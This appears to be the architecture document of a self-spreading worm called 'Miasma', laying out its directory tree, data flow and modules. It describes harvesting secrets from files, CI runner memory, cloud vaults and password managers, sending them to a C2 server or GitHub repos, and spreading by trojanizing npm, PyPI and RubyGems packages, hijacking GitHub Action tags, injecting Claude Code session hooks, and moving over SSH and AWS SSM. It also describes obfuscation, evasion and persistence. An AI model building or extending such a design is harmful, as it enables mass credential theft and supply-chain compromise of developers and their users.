691 lines
45 KiB
Markdown
691 lines
45 KiB
Markdown
# Miasma Architecture
|
|
|
|
A worm that aims to automate spreading across multiple developer tooling ecosystems. Written in TypeScript, executed via Bun, designed for CI/CD environments (especially GitHub Actions) and developer machines. Exfiltrates secrets and propagates through NPM packages, PyPI wheels, RubyGems, GitHub repositories and Actions, Claude settings hooks, SSH, and AWS SSM.
|
|
|
|
Requires NO C2 infrastructure. No dealing with takedowns or maintaining infrasturcture. Stolen GitHub PATs are all that is necessary.
|
|
|
|
Highly modular and easy to tune using AI.
|
|
|
|
---
|
|
|
|
## Current Status
|
|
|
|
The project is near feature-complete, but several components remain untested against live targets:
|
|
|
|
| Component | Status | Notes |
|
|
|---|---|---|
|
|
| **PyPIOIDC** | ⚠️ Untested | PyPI Trusted Publishing (OIDC) mutator — downloads wheels, injects `.pth` payload, mints a short-lived PyPI API token from a GitHub Actions OIDC token, and re-publishes. Needs testing against a live PyPI project with Trusted Publishing configured. |
|
|
| **SSH Mutator** | ⚠️ Untested | SSH host propagation via SCP + SSH exec to hosts found in `~/.ssh/known_hosts` and `~/.ssh/config`. Needs testing against live SSH targets. |
|
|
| **JFrog NPM** | ⚠️ Untested | JFrog Artifactory NPM mutator — authenticates via API key, Bearer token, or user:pass, validates write access, and trojanizes packages in NPM repos. Needs testing against a live JFrog instance. |
|
|
| **RubyGems + OIDC** | ⚠️ Untested | RubyGems Trusted Publishing (OIDC) branch injection — dangling-commit attack on repos that publish to RubyGems via OIDC. Needs testing against a live repo with RubyGems trusted publishing enabled. |
|
|
| **GCP Providers** | ❌ Broken (exfil) | GCP Secret Manager (`GcpSecretsService`) and Identity (`GcpIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real GCP credentials. |
|
|
| **Azure Providers** | ❌ Broken (exfil) | Azure Key Vault (`AzureKeyVaultService`) and Identity (`AzureIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real Azure credentials. |
|
|
|
|
---
|
|
|
|
## Directory Structure
|
|
|
|
```
|
|
.
|
|
├── .gitignore
|
|
├── ARCHITECTURE.MD
|
|
├── INTEGRATION_TESTING.md
|
|
├── README.md
|
|
├── bun.lock # Bun dependency lock file
|
|
├── bunfig.toml # Bun config (.py loader, test preload)
|
|
├── eslint.config.js # ESLint with import sort plugin
|
|
├── package.json # Project manifest, scripts, dependencies
|
|
├── tsconfig.json # TypeScript strict, ESNext/Bun target
|
|
├── tunnel.sh # SSH bastion tunnel manager
|
|
├── final_key.pub # Public key for standalone decrypt tool
|
|
│
|
|
├── scripts/ # Build pipeline
|
|
│ ├── build.ts # Main build pipeline (transform + bundle)
|
|
│ ├── build-cli.ts # CLI build pipeline (single-provider/mutator bundles)
|
|
│ ├── build-plugin.ts # Alternative Bun plugin build
|
|
│ ├── pack-assets.ts # Encrypts assets → src/generated/index.ts
|
|
│ ├── scramble-shared.ts # Shared scramble transform utilities
|
|
│ ├── env-scramble.ts # Obfuscates process.env access
|
|
│ ├── strip-logs.ts # Strips logUtil.* calls
|
|
│ ├── obfuscate.js # Post-build JS obfuscation (javascript-obfuscator)
|
|
│ ├── obfplus-wrap.js # Additional post-obfuscation wrapper
|
|
│ ├── decrypt.ts # Standalone envelope decryption tool
|
|
│ ├── session.js # Session messenger helper
|
|
│ ├── create_payload_repo.py # GitHub payload repo creation helper
|
|
│ └── populate-test-fixtures.ts # Test fixture generator
|
|
│
|
|
├── src/ # Main source
|
|
│ ├── index.ts # Entry point / main()
|
|
│ │
|
|
│ ├── orchestrator/ # Orchestration layer (split from index.ts)
|
|
│ │ ├── preflight.ts # Decoy, locale, repo, daemon, lock checks
|
|
│ │ ├── providers.ts # Quick-result gathering + full provider list
|
|
│ │ ├── senders.ts # Sender chain construction
|
|
│ │ └── mutations.ts # Mutation planning + execution
|
|
│ │
|
|
│ ├── assets/ # Payload assets (embedded at build time)
|
|
│ │ ├── BASH_LOADER.sh # Cross-platform Bun bootstrapper (bash)
|
|
│ │ ├── JS_LOADER.mjs # Node.js Bun bootstrapper (with ZIP parser)
|
|
│ │ ├── PYTHON_LOADER.py # Python Bun bootstrapper
|
|
│ │ ├── DUMP_LINUX.py # /proc/memory dumper (Runner.Worker)
|
|
│ │ ├── DUMP_DARWIN.py # macOS memory dumper
|
|
│ │ ├── DUMP_WINDOWS.ps1 # Windows memory dumper
|
|
│ │ ├── GITHUB_MONITOR.py # GitHub token activity monitor (Python)
|
|
│ │ ├── INSTALL_MONITOR.sh # Installs GITHUB_MONITOR as persistent service
|
|
│ │ ├── INJECT_PTH.pth # PyPI .pth loader payload
|
|
│ │ ├── workflow.yml # GitHub Actions secret-dumping workflow
|
|
│ │ ├── DEADMAN_SWITCH.sh # Token monitor via launchd/systemd
|
|
│ │ ├── claude_settings.json # Claude SessionStart hook payload
|
|
│ │ ├── task.json # VSCode folder-open task trigger
|
|
│ │ ├── enc_key.pub # RSA-4096 public key (exfiltration encryption)
|
|
│ │ └── verify_key.pub # RSA-4096 public key (C2 signature verification)
|
|
│ │
|
|
│ ├── collector/ # Data ingestion & buffering
|
|
│ │ └── collector.ts # Buffers ProviderResults, validates tokens, flushes to Dispatcher
|
|
│ │
|
|
│ ├── dispatcher/ # Exfiltration routing
|
|
│ │ └── dispatcher.ts # Routes encrypted batches through sender chain with fallback
|
|
│ │
|
|
│ ├── generated/ # Auto-generated (by pack-assets.ts)
|
|
│ │ └── index.ts # AES-256-GCM encrypted assets
|
|
│ │
|
|
│ ├── github_utils/ # GitHub API utilities
|
|
│ │ ├── auth.ts # Token validation & scope/metadata checking
|
|
│ │ ├── client.ts # REST API client (fetch/json wrappers)
|
|
│ │ ├── fetcher.ts # Commit search for C2 fallback (signed commits)
|
|
│ │ ├── gitDb.ts # Low-level Git DB API (blobs, trees, commits, refs)
|
|
│ │ ├── orphanDep.ts # Orphan commit builder for npm git-dep injection
|
|
│ │ └── tokenCheck.ts # Token validation re-exports from auth.ts
|
|
│ │
|
|
│ ├── mutator/ # Persistence & propagation
|
|
│ │ ├── base.ts # Abstract Mutator base class
|
|
│ │ ├── types.ts # Mutator type name union
|
|
│ │ ├── action/ # GitHub Action hijacking
|
|
│ │ │ ├── actionMutator.ts # Hijacks semver tags on custom GitHub Actions
|
|
│ │ │ ├── actionFinder.ts # Finds writable repos with action.yml files
|
|
│ │ │ ├── comitter.ts # Force-push to semver tags
|
|
│ │ │ └── createEnvelope.ts # JS wrapper + checkout injector for composite actions
|
|
│ │ ├── aws/ # AWS SSM propagation
|
|
│ │ │ └── ssm.ts # Sends payload to managed EC2 instances via SSM SendCommand
|
|
│ │ ├── branch/ # GitHub branch poisoning (ReadmeUpdater)
|
|
│ │ │ ├── index.ts # Push malicious files to all branches (GraphQL)
|
|
│ │ │ ├── branches.ts # Fetch & filter repo branches
|
|
│ │ │ ├── client.ts # GitHub GraphQL API client
|
|
│ │ │ ├── commits.ts # Batch createCommitOnBranch mutations
|
|
│ │ │ ├── queries.ts # GraphQL query/mutation strings
|
|
│ │ │ ├── resolver.ts # Resolves GITHUB_REPOSITORY from env
|
|
│ │ │ ├── sources.ts # File source resolvers (inline/disk/binary)
|
|
│ │ │ └── types.ts # Branch/Commit/File types
|
|
│ │ ├── claude/ # Claude Code hook injection
|
|
│ │ │ └── index.ts # Injects SessionStart hook into settings.json
|
|
│ │ ├── npm/ # NPM trojanization (auth token)
|
|
│ │ │ ├── index.ts # Download → inject preinstall → re-publish
|
|
│ │ │ ├── publish.ts # PUT /registry npm publish
|
|
│ │ │ ├── tarball.ts # Tarball manipulation utilities
|
|
│ │ │ └── tokenCheck.ts # NPM token validation & package enumeration
|
|
│ │ ├── npmoidc/ # NPM trojanization (OIDC)
|
|
│ │ │ ├── index.ts # OIDC-based NPM trojanization
|
|
│ │ │ ├── branch.ts # Branch-based OIDC injection (dangling commits + deployment)
|
|
│ │ │ ├── detector.ts # Detects repos publishing to NPM via OIDC
|
|
│ │ │ ├── environment.ts # Environment protection bypass logic
|
|
│ │ │ ├── injector.ts # Injects tool step into workflow YAML
|
|
│ │ │ ├── provenance.ts # sigstore (Fulcio + Rekor) provenance bundles
|
|
│ │ │ └── types.ts # Mutator type alias
|
|
│ │ ├── persist/ # Persistence via background monitor
|
|
│ │ │ └── install-monitor.ts # Installs GITHUB_MONITOR.py as persistent service
|
|
│ │ ├── poller/ # Dead-man switch
|
|
│ │ │ └── monitor.ts # Installs DEADMAN_SWITCH.sh for token monitoring
|
|
│ │ ├── pypi/ # PyPI wheel trojanization
|
|
│ │ │ ├── index.ts # Download → inject .pth → re-publish wheel
|
|
│ │ │ ├── macaroonParse.ts # Parses PyPI macaroon tokens
|
|
│ │ │ ├── upload.ts # PyPI upload via twine/API
|
|
│ │ │ └── wheel.ts # Wheel download, metadata, patching
|
|
│ │ ├── repository/ # Repository file injection (Git DB API)
|
|
│ │ │ ├── index.ts # Pushes payload + hooks to feature branches
|
|
│ │ │ ├── defaultBranch.ts # Default branch resolution
|
|
│ │ │ ├── lotp.ts # Low-level tree operations
|
|
│ │ │ ├── repos.ts # Writable repo enumeration
|
|
│ │ │ └── types.ts # Repository target types
|
|
│ │ ├── rubygems/ # RubyGems gem trojanization
|
|
│ │ │ ├── index.ts # Download → inject native ext → re-publish gem
|
|
│ │ │ ├── gem.ts # Gem download, metadata, patching
|
|
│ │ │ ├── publish.ts # RubyGems publish
|
|
│ │ │ └── tokenCheck.ts # RubyGems token validation & gem enumeration
|
|
│ │ ├── rubygemsoidc/ # RubyGems OIDC branch injection
|
|
│ │ │ ├── branch.ts # Dangling-commit branch injection for RubyGems OIDC
|
|
│ │ │ ├── detector.ts # Detects repos publishing to RubyGems via trusted publishing
|
|
│ │ │ ├── index.ts # Main entry (detect repos + process)
|
|
│ │ │ └── injector.ts # Injects RubyGems-specific tool step
|
|
│ │ └── ssh/ # SSH host propagation
|
|
│ │ └── sshMutator.ts # Propagates to SSH hosts via SCP + SSH exec
|
|
│ │
|
|
│ ├── providers/ # Secret/credential collection
|
|
│ │ ├── base.ts # Abstract Provider with pattern matching
|
|
│ │ ├── types.ts # ProviderResult type definitions
|
|
│ │ ├── actions/ # GitHub Actions secret extraction
|
|
│ │ │ ├── actions.ts # Orchestrates repo enumeration + secret dumping
|
|
│ │ │ ├── pipeline.ts # repos → secrets → workflow execution
|
|
│ │ │ ├── repos.ts # Streams user's writable repos with Actions secrets
|
|
│ │ │ ├── secrets.ts # Streams repos with Actions secrets
|
|
│ │ │ └── workflow.ts # Creates workflow, polls, downloads artifact
|
|
│ │ ├── aws/ # AWS credential/secret harvesting
|
|
│ │ │ ├── awsAccount.ts # Enumerates AWS identities via STS
|
|
│ │ │ ├── client.ts # Generic signed AWS API client
|
|
│ │ │ ├── credentials.ts # AWS credential chain (env/profiles/IMDS/ECS/web)
|
|
│ │ │ ├── secretsManager.ts # Lists & gets Secrets Manager secrets
|
|
│ │ │ ├── sigv4.ts # Full AWS Signature V4 implementation
|
|
│ │ │ └── ssm.ts # Lists & gets SSM Parameters
|
|
│ │ ├── azure/ # Azure credential/secret harvesting
|
|
│ │ │ ├── auth.ts # Multi-source auth (env SP, managed identity, federated)
|
|
│ │ │ ├── client.ts # Azure REST API client
|
|
│ │ │ ├── identity.ts # Identity resolution & subscription enumeration
|
|
│ │ │ └── keyvault.ts # Key Vault secret enumeration
|
|
│ │ ├── devtool/ # Shell / GitHub CLI
|
|
│ │ │ └── devtool.ts # gh auth token + process.env capture
|
|
│ │ ├── filesystem/ # Local filesystem secret harvesting
|
|
│ │ │ └── filesystem.ts # Reads ~/.ssh, ~/.aws, ~/.kube, wallets, etc.
|
|
│ │ ├── gcp/ # GCP credential/secret harvesting
|
|
│ │ │ ├── auth.ts # Multi-source auth (metadata, SA key, WIF)
|
|
│ │ │ ├── client.ts # GCP REST API client
|
|
│ │ │ ├── identity.ts # Identity resolution & project enumeration
|
|
│ │ │ └── secrets.ts # Secret Manager secret enumeration
|
|
│ │ ├── ghrunner/ # GitHub Actions runner memory dumping
|
|
│ │ │ └── runner.ts # Dumps Runner.Worker process memory via /proc
|
|
│ │ ├── kubernetes/ # Kubernetes secret harvesting
|
|
│ │ │ └── kubernetes.ts # In-cluster or kubeconfig K8s API access
|
|
│ │ ├── passwords/ # Password manager dumping
|
|
│ │ │ └── passwords.ts # Dumps 1Password, Bitwarden, pass, gopass
|
|
│ │ └── vault/ # HashiCorp Vault secret harvesting
|
|
│ │ └── vault-secrets.ts # Auth (env/file/K8s/AWS), enumerates KV secrets
|
|
│ │
|
|
│ ├── sender/ # Exfiltration transports
|
|
│ │ ├── base.ts # Encrypts: JSON → gzip → AES-256-GCM → RSA-OAEP
|
|
│ │ ├── senderFactory.ts # SenderFactory interface
|
|
│ │ ├── types.ts # SenderName, EncryptedPackage, SenderDestination types
|
|
│ │ ├── domain/ # Primary C2 transport
|
|
│ │ │ ├── domainSenderFactory.ts # Domain sender + commit-search C2 fallback
|
|
│ │ │ └── sender.ts # HTTPS POST to C2 server
|
|
│ │ ├── github/ # Fallback transport (persistent)
|
|
│ │ │ ├── createRepo.ts # Creates uniquely-named public GitHub repo
|
|
│ │ │ ├── githubSender.ts # Commits encrypted blobs to repo
|
|
│ │ │ └── gitHubSenderFactory.ts # PAT-based or commit-search sender factory
|
|
│ ├── cli/ # Standalone CLI entry points (one per provider/mutator/sender)
|
|
│ │ ├── common.ts # Shared CLI utilities
|
|
│ │ ├── provider-*.ts # Per-provider CLI wrappers (filesystem, shell, ghrunner,
|
|
│ │ │ # aws-account, aws-secrets, aws-ssm, azure-identity,
|
|
│ │ │ # azure-keyvault, gcp-identity, gcp-secrets,
|
|
│ │ │ # k8s, vault, passwords, actions, grep)
|
|
│ │ ├── mutator-*.ts # Per-mutator CLI wrappers (branch, claude,
|
|
│ │ │ # npm, npmoidcbranch, action, repository,
|
|
│ │ │ # rubygems, rubygemsoidc-branch)
|
|
│ │ ├── sender-*.ts # Per-sender CLI wrappers (domain, github)
|
|
│ │ └── validate-binding-gyp.ts # binding.gyp validator
|
|
│ │
|
|
│ └── utils/ # Utilities
|
|
│ ├── checkSandbox.ts # Decoy token detection
|
|
│ ├── config.ts # OS detection, CI detection, locale check, EDR detection
|
|
│ ├── daemon.ts # Process daemonization
|
|
│ ├── encryptedWrapper.ts # AES-128-GCM self-decrypting JS wrapper builder
|
|
│ ├── lock.ts # PID-based single-instance file lock
|
|
│ ├── logger.ts # Silent-by-default logger
|
|
│ ├── runtimeDecoder.ts # Runtime string decoder (passphrase injected at build)
|
|
│ ├── selfExtracting.ts # Self-extracting payload builder (AES-GCM + ROT-N + bun guard)
|
|
│ ├── shell.ts # Bun shell command runner
|
|
│ └── stringtool.ts # Polyalphabetic substitution cipher
|
|
│
|
|
├── tests/ # Test suite (Vitest)
|
|
│ ├── setup.ts # Test setup / global config
|
|
│ ├── arsenal/ # Arsenal integration tests
|
|
│ ├── assets/ # Asset tests
|
|
│ ├── collector/ # Collector tests
|
|
│ ├── dispatcher/ # Dispatcher tests
|
|
│ ├── fetcher/ # Fetcher / signed-commit tests
|
|
│ ├── mutator/ # Mutator tests
|
|
│ ├── providers/ # Provider tests
|
|
│ ├── scramble/ # Scramble / stringtool tests
|
|
│ ├── sender/ # Sender tests
|
|
│ └── utils/ # Utility tests
|
|
│
|
|
├── dist/ # Main build output
|
|
│ └── bundle.js # Bundled + obfuscated output
|
|
├── dist-cli/ # CLI build output (empty; built on demand)
|
|
├── dist_obf/ # Obfuscated build output
|
|
├── dist-cli_obf/ # Obfuscated CLI build output
|
|
└── dist_obfplus/ # Double-obfuscated build output
|
|
```
|
|
|
|
---
|
|
|
|
## Architecture Layers
|
|
|
|
```
|
|
┌─────────────────────────────────────────────────────────────┐
|
|
│ BUILD PIPELINE │
|
|
│ pack-assets → scramble/obfuscate → bundle → js-obfuscate │
|
|
└─────────────────────────────────────────────────────────────┘
|
|
|
|
┌─────────────────────────────────────────────────────────────┐
|
|
│ ENTRY POINT │
|
|
│ src/index.ts: main() │
|
|
│ Preflight → QuickResults → Senders → Providers → │
|
|
│ Collector → Dispatcher → Mutations (success or fallback) │
|
|
└─────────────────────────────────────────────────────────────┘
|
|
|
|
┌────────────────────┐ ┌──────────────┐ ┌──────────────────┐
|
|
│ PROVIDERS │ │ COLLECTOR │ │ DISPATCHER │
|
|
│ (secret harvest) ──▶│ (buffer + ──▶│ (sender chain) │
|
|
│ │ │ token val) │ │ │
|
|
└────────────────────┘ └──────┬───────┘ └──────────────────┘
|
|
│
|
|
detects npm/rubygems/gh tokens
|
|
│
|
|
▼
|
|
┌──────────────────┐
|
|
│ MUTATORS │
|
|
│ (propagation + │
|
|
│ persistence) │
|
|
└──────┬───────────┘
|
|
│
|
|
┌────────────┼────────────┐
|
|
▼ ▼ ▼
|
|
┌─────────┐ ┌───────┐ ┌──────────┐
|
|
│ SENDER │ │SENDER │ │ SENDER │
|
|
│ (domain)│ │(gh #1)│ │ (gh #2) │
|
|
└────┬────┘ └───┬───┘ └────┬─────┘
|
|
▼ ▼ ▼
|
|
C2 GitHub GitHub
|
|
Server Repo Repo
|
|
```
|
|
|
|
---
|
|
|
|
## Components
|
|
|
|
### 1. Entry Point (`src/index.ts`)
|
|
|
|
The main entry point delegates to the **orchestrator** layer (split across four modules for clarity):
|
|
|
|
**`orchestrator/preflight.ts`:**
|
|
- `isDecoy()` — exits if a honeypot/decoy token is detected
|
|
- `checkTargetRepo()` — if `WORKFLOW_ID`/`REPO_ID_SUFFIX` match, runs `NPMOidcClient` and exits; if suffix matches but ID doesn't, exits silently
|
|
- `isSystemRussian()` — exits if the system locale is Russian
|
|
- `daemonize()` — detaches as a background daemon if not in CI
|
|
- `acquireLock()` — prevents multiple concurrent instances (PID file lock)
|
|
- `SIGINT`/`SIGTERM` trapping — ignores termination signals
|
|
|
|
**`orchestrator/providers.ts`:**
|
|
- `gatherQuickResults()` — runs the three fast providers synchronously:
|
|
- `FileSystemService` — scans ~100+ known sensitive file paths
|
|
- `ShellService` — runs `gh auth token`, captures `process.env`
|
|
- `GitHubRunner` — dumps Runner.Worker process memory for Actions secrets
|
|
- `buildProviders(quickResults)` — assembles the full provider list:
|
|
- Static cloud providers: `AwsSsmService`, `AwsSecretsManagerService`, `AwsAccountService`, `AzureKeyVaultService`, `AzureIdentityService`, `GcpSecretsService`, `GcpIdentityService`, `K8sSecretsService`, `VaultSecretsService`, `PasswordManagerProvider`
|
|
- Conditional: if valid `ghtoken` tokens found in quick results with `workflow` scope, adds `GitHubActionsService` for each
|
|
- Returns `{ providers, dispatched }` — dispatched flag is `true` when at least one Actions token was processed
|
|
|
|
**`orchestrator/senders.ts`:**
|
|
- `buildSenderChain(quickResults)` — constructs prioritized sender chain:
|
|
1. Domain sender (primary, uses `SEND_URL` from config)
|
|
2. GitHub direct sender (fallback, created via PAT or commit search)
|
|
3. GitHub token fallback (last resort, uses any found GitHub tokens)
|
|
- Supports `SKIP_DOMAIN` env var to bypass domain transport
|
|
|
|
**`orchestrator/mutations.ts`:**
|
|
- `planMutations(quickResults, dispatched)` — builds mutation list:
|
|
- `ReadmeUpdater` — only if NOT dispatched (one per `ghs_old` and `ghs_jwt` token)
|
|
- `ActionMutator` — one per deduplicated `ghtoken`
|
|
- `NpmOidcBranchMutator` — one per deduplicated `ghtoken`
|
|
- `RepositoryMutator` — one per deduplicated `ghtoken`
|
|
- Always-run: `Claude`, `InstallMonitor`, `SshMutator`
|
|
- `getFallbackMutations()` — used on failure: always `Claude`, `InstallMonitor`, `SshMutator`
|
|
- `executeMutations(mutators)` — runs all mutators in parallel via `Promise.allSettled`, each behind its `shouldExecute()` guard
|
|
|
|
**Main flow:**
|
|
```
|
|
main()
|
|
├── preflight()
|
|
├── gatherQuickResults()
|
|
├── buildSenderChain(quickResults)
|
|
├── buildProviders(quickResults) → { providers, dispatched }
|
|
├── Dispatcher(senders) + Collector(dispatch)
|
|
├── ingest quick results → Collector
|
|
├── collector.run(providers) — all providers in parallel
|
|
├── collector.finalize()
|
|
├── planMutations(quickResults, dispatched)
|
|
│ OR on failure → getFallbackMutations()
|
|
├── executeMutations(mutators)
|
|
└── releaseLock() + process.exit(0)
|
|
```
|
|
|
|
### 2. Collector (`src/collector/collector.ts`)
|
|
|
|
- Buffers `ProviderResult` objects, tracking byte count
|
|
- Flushes when threshold (100KB) is crossed
|
|
- **Token validation on ingest:**
|
|
- `ghtoken` (classic PATs: `ghp_*`) → validated via GitHub `/user` endpoint; metadata stored on result
|
|
- `fgtoken` (fine-grained PATs: `github_pat_*`) → validated via same endpoint
|
|
- `npmtoken` (NPM tokens: `npm_*`) → validated + triggers `NpmClient` side-effect immediately
|
|
- `rubygemstoken` (RubyGems tokens: `rubygems_*`) → validated + triggers `RubyGemsClient` side-effect immediately
|
|
- `run()` executes provider sources in parallel, isolates failures
|
|
- `finalize()` flushes remaining data and awaits in-flight dispatches
|
|
|
|
### 3. Dispatcher (`src/dispatcher/dispatcher.ts`)
|
|
|
|
- Ordered `Sender` list with fallback priority
|
|
- Encrypts batch once via `sender.createEnvelope()`, then tries senders in order
|
|
- Calls `sender.healthy()` before each attempt (preflight check)
|
|
- Never throws on total failure — propagates silently
|
|
- Supports `dryRun` mode (discards batches when no senders configured)
|
|
|
|
### 4. Sender (Exfiltration Transports)
|
|
|
|
#### Base Encryption (`src/sender/base.ts`)
|
|
```
|
|
JSON.stringify(results) → gzip → AES-256-GCM (random 256-bit key + random IV)
|
|
→ RSA-OAEP-SHA256 (enc_key.pub wraps AES key)
|
|
→ [IV + ciphertext + authTag] combined, base64-encoded
|
|
Produces: { envelope: base64, key: base64 (RSA-encrypted AES key) }
|
|
```
|
|
|
|
#### DomainSender (`src/sender/domain/sender.ts`)
|
|
- Primary transport: HTTPS POST to C2 server
|
|
- `SEND_URL` and `PATH` defined in `config.ts` (scrambled at build time)
|
|
- Health check: DNS resolution + HTTP GET (400/404 = alive)
|
|
- Throws on non-200 to trigger sender chain fallback
|
|
|
|
#### DomainSenderFactory (`src/sender/domain/domainSenderFactory.ts`)
|
|
- Tries hardcoded domain first
|
|
- Falls back to searching GitHub commits for cryptographically signed messages (verified via `verify_key.pub`) containing a backup C2 domain
|
|
- Searches for a specific search string in signed commits
|
|
|
|
#### GitHubSender (`src/sender/github/githubSender.ts`)
|
|
- Creates a public GitHub repo with random Dune-themed names
|
|
- Commits encrypted blobs into `results/` directory
|
|
- Splits large payloads (>30MB) into chunks
|
|
- Optionally installs the dead-man switch
|
|
|
|
#### GitHubSenderFactory (`src/sender/github/gitHubSenderFactory.ts`)
|
|
- Primary init: searches GitHub commits for doubly-base64-encoded PAT
|
|
- Fallback: iterates tokens from quick results, validates, creates repo
|
|
- Includes token in envelope if user has no orgs (for dead-man switch)
|
|
|
|
### 5. Providers (Secret Harvesting)
|
|
|
|
| Provider | Source | Description |
|
|
|---|---|---|
|
|
| `FileSystemService` | Local FS | SSH keys, AWS creds, kubeconfigs, wallets, browser data, CI configs, env files, shell histories. EDR-aware (skips if hostile EDR detected). |
|
|
| `ShellService` | CLI | `gh auth token`, `process.env` |
|
|
| `GitHubRunner` | `/proc`/memory | Runner.Worker process memory dump (Linux / macOS / Windows Actions runner) |
|
|
| `AwsSsmService` | AWS API | SSM Parameters across 17 regions (DescribeParameters + GetParameters with decryption) |
|
|
| `AwsSecretsManagerService` | AWS API | Secrets Manager secrets across 17 regions |
|
|
| `AwsAccountService` | AWS STS | Identity resolution via all credential sources (env, IMDS, ECS, profiles) |
|
|
| `AzureKeyVaultService` | Azure API | Key Vault secrets via multi-source auth (env SP, managed identity, federated identity); vault discovery via ARM or env var |
|
|
| `AzureIdentityService` | Azure API | Identity resolution via all credential sources; tenant/object IDs + subscription enumeration |
|
|
| `GcpSecretsService` | GCP API | Secret Manager secrets via multi-source auth (metadata server, service account key, workload identity federation); project discovery via CRM or env var |
|
|
| `GcpIdentityService` | GCP API | Identity resolution via all credential sources; project ID + project enumeration |
|
|
| `K8sSecretsService` | K8s API | In-cluster or kubeconfig, enumerates secrets from all namespaces |
|
|
| `VaultSecretsService` | Vault API | Multi-source auth (env/file/K8s/AWS), KV v1/v2 secret enumeration |
|
|
| `PasswordManagerProvider` | CLI tools | 1Password (`op`), Bitwarden (`bw`), `pass`, `gopass` |
|
|
| `GitHubActionsService` | GitHub API | Creates malicious workflow, exfiltrates repo secrets via artifact |
|
|
|
|
### 6. Mutators (Propagation / Persistence)
|
|
|
|
| Mutator | Vector | Description |
|
|
|---|---|---|
|
|
| `ReadmeUpdater` | GitHub branches | Pushes VSCode task.json, Claude settings (Claude + Gemini), cursor rules, loader scripts to all feature branches via Git DB API. 2 branches per batch. |
|
|
| `Claude` | Claude Code hooks | Finds all `settings.json` files in home dir, injects `SessionStart` hook to run the worm. Copies self to `~/.claude/package/`. |
|
|
| `NpmClient` | NPM packages | Triggered by Collector on `npmtoken` detection. Downloads writable packages, injects `preinstall` script, re-publishes with bumped patch version. |
|
|
| `NPMOidcClient` | NPM (OIDC) | Direct OIDC-based NPM trojanization. Authenticates via GitHub Actions OIDC. Generates sigstore provenance bundles. |
|
|
| `NpmOidcBranchMutator` | NPM (OIDC branch) | Dangling-commit branch injection for NPM OIDC repos. Creates add-delete commit pair on a branch, triggers deployment. |
|
|
| `RubyGemsClient` | RubyGems gems | Triggered by Collector on `rubygemstoken` detection. Downloads gems, injects native extension (extconf.rb + Makefile), bumps patch version, re-publishes. |
|
|
| `RubyGemsOidcBranchMutator` | RubyGems (OIDC branch) | Dangling-commit branch injection for RubyGems trusted publishing repos. |
|
|
| `PypiMutator` | PyPI wheels | Downloads wheels, injects `.pth` loader file, bumps patch version, re-publishes. Supports project-scoped macaroon tokens. |
|
|
| `PyPIOidcClient` | PyPI (OIDC) | PyPI Trusted Publishing mutator. Mints a short-lived PyPI API token from a GitHub Actions OIDC token, downloads wheels, injects `.pth` payload, and re-publishes. |
|
|
| `ActionMutator` | GitHub Actions | Finds writable repos with custom GitHub Actions, hijacks semver tags (v1, v2.x, etc.) via force-push of orphan commits containing a JS wrapper that loads the payload. |
|
|
| `RepositoryMutator` | GitHub repos | Pushes payload + Claude/Gemini/VSCode hooks to feature branches on writable repos via Git DB API. Creates serial dangling commits. |
|
|
| `SshMutator` | SSH hosts | Propagates to recently-connected SSH hosts (from `~/.ssh/known_hosts` and `~/.ssh/config`) via SCP + SSH exec. |
|
|
| `SsmMutator` | AWS SSM | Propagates to EC2 instances managed by AWS Systems Manager. Uses `DescribeInstanceInformation` + `SendCommand` (AWS-RunShellScript) across 17 regions. |
|
|
| `InstallMonitor` | Background monitor | Installs `GITHUB_MONITOR.py` as a persistent background service. EDR-aware and skips on <4 CPU cores. |
|
|
| `Monitor` (poller) | Dead-man switch | Installs `DEADMAN_SWITCH.sh` as a persistent token monitor (launchd/systemd). |
|
|
| `JfrogNpmMutator` | JFrog Artifactory | Triggered by Collector on `jfrogdomain`/`jfrogtoken` detection. Authenticates via API key, Bearer token, or user:pass, validates write access to NPM repos, downloads packages, injects `preinstall` scripts, and re-publishes. |
|
|
|
|
---
|
|
|
|
## Data Flow
|
|
|
|
```
|
|
[Runtime Environment]
|
|
│
|
|
│ providers scan secrets/memory/filesystem/APIs
|
|
▼
|
|
┌──────────────────────────────────────┐
|
|
│ PROVIDERS (parallel execution) │
|
|
│ FileSystem · Shell · GitHubRunner │
|
|
│ AwsSsm · AwsSM · AwsAccount │
|
|
│ AzureKV · AzureIdentity │
|
|
│ GcpSecrets · GcpIdentity │
|
|
│ K8sSecrets · Vault · Passwords │
|
|
│ GitHubActions │
|
|
└──────┬───────────────────────────────┘
|
|
│ ProviderResult (data + extracted tokens)
|
|
▼
|
|
┌──────────┐ batch (100KB threshold)
|
|
│ COLLECTOR │────────────────────────────────┐
|
|
└──────────┘ │
|
|
│ ▼
|
|
│ validate + side-effect tokens ┌──────────────┐
|
|
├──► NpmClient (trojanize) │ DISPATCHER │
|
|
├──► RubyGemsClient (trojanize) └──┬───┬───┬───┬──┘
|
|
│ │ │ │
|
|
│ ┌──────────┘ │ └──────────┐
|
|
│ ▼ ▼ ▼
|
|
│ DomainSender GitHubSender GitHubSender
|
|
│ (HTTPS) (repo commit) (token fallback)
|
|
│ │ │ │
|
|
│ ┌──┴──┐ ┌───┴───┐ ┌──┴──┐
|
|
│ │ C2 │ │ GitHub│ │GitHub│
|
|
│ │Server│ │ Repo │ │ Repo │
|
|
│ └─────┘ └───────┘ └─────┘
|
|
│
|
|
▼
|
|
┌─────────────────────────────┐
|
|
│ MUTATORS (parallel) │
|
|
│ ReadmeUpdater │──► Push files to all branches
|
|
│ ActionMutator │──► Hijack semver action tags
|
|
│ NpmOidcBranchMutator │──► Dangling-commit OIDC injection
|
|
│ RepositoryMutator │──► Push payload + hooks to repos
|
|
│ Claude │──► Inject SessionStart hook
|
|
│ NpmClient │──► Trojanize NPM packages
|
|
│ RubyGemsClient │──► Trojanize RubyGems
|
|
│ InstallMonitor │──► Install background service
|
|
│ SshMutator │──► Propagate to SSH hosts
|
|
└─────────────────────────────┘
|
|
```
|
|
|
|
---
|
|
|
|
## Control Flow
|
|
|
|
```
|
|
main()
|
|
├── try {
|
|
│ ├── preflight()
|
|
│ │ ├── isDecoy() → exit if decoy token
|
|
│ │ ├── checkTargetRepo() → NPMOidcClient + exit or silent exit
|
|
│ │ ├── isSystemRussian() → exit if Russian locale
|
|
│ │ ├── daemonize() → background if not in CI
|
|
│ │ └── acquireLock() → exit if another instance running
|
|
│ │
|
|
│ ├── gatherQuickResults() → FileSystem + Shell + GitHubRunner
|
|
│ │
|
|
│ ├── buildSenderChain(quickResults):
|
|
│ │ ├── DomainSenderFactory → domain sender (primary, unless SKIP_DOMAIN)
|
|
│ │ └── GitHubSenderFactory → GitHub senders (fallback)
|
|
│ │
|
